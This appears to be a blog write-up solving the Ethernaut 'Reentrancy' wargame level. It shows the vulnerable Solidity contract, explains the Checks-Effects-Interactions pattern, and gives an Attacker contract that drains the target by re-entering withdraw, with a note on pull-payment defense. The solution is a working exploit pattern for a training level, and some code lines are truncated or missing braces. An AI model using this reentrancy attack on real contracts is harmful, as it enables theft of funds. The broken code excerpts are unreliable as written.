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Erhan Tezcan
Erhan Tezcan

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Ethernaut: 10. Reentrancy

Play the level

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {

  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) ={value:_amount}("");
      if(result) {
      balances[msg.sender] -= _amount;

  receive() external payable {}
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There is a pattern called Checks - Effects - Interactions in Solidity.

  1. you check whether you can do something, such as checking balance
  2. you apply the effects of doing it on your contract, such as updating balance
  3. you do the actual interactions on-chain with other, such as transferring money

In this case, the function is withdraw but the interaction comes before the effect. This means that when we receive money from within the withdraw, things are briefly in our control until the program goes back to the withdraw function to do the effect. When we have the control, we can call withdraw once more and the same thing will happen again and again.

When we create the instance in this game, we can see that:
- await getBalance(contract.address) is 0.001 ether.
- await contract.balanceOf(player) is 0.

We will donate some money to create our initial balance at the target, which will allow the balances[msg.sender] >= _amount to be true. Now, we can repeadetly withdraw that amount by re-entering the withdraw function. Since balance update effect happens after the transfer interaction, we will go on and on until the balance is depleted.As a defense, you could use a pull-payment approach: the user to be paid must come and withdraw their money themselves, rather than us paying to them.

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0; 

// Interface of the target contract
interface IReentrance {
  function donate(address _to) external payable;
  function withdraw(uint _amount) external;

contract Attacker {
  address public owner;
  IReentrance targetContract;
  uint targetValue = 0.001 ether;

  constructor(address payable _targetAddr) payable {
    targetContract = IReentrance(_targetAddr);
    owner = msg.sender;

  // withdraw money from this contract
  function withdraw() public {
    require(msg.sender == owner, "Only the owner can withdraw."); 
    (bool sent, ) ={value: address(this).balance}("");
    require(sent, "Failed to withdraw.");

  // begin attack by depositing and withdrawing
  function attack() public payable {
    require(msg.value >= targetValue);
    targetValue = msg.value;

  receive() external payable {
    uint targetBalance = address(targetContract).balance;
    if (targetBalance >= targetValue) {
      // withdraw at most your balance at a time
    } else if (targetBalance > 0) {
      // withdraw the remaining balance in the contract
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This is how "The DAO" hack was executed, which resulted in the creation of Ethereum Classic; pretty mind-blowing to think just the misplacement of two lines caused a million-dollar hack!

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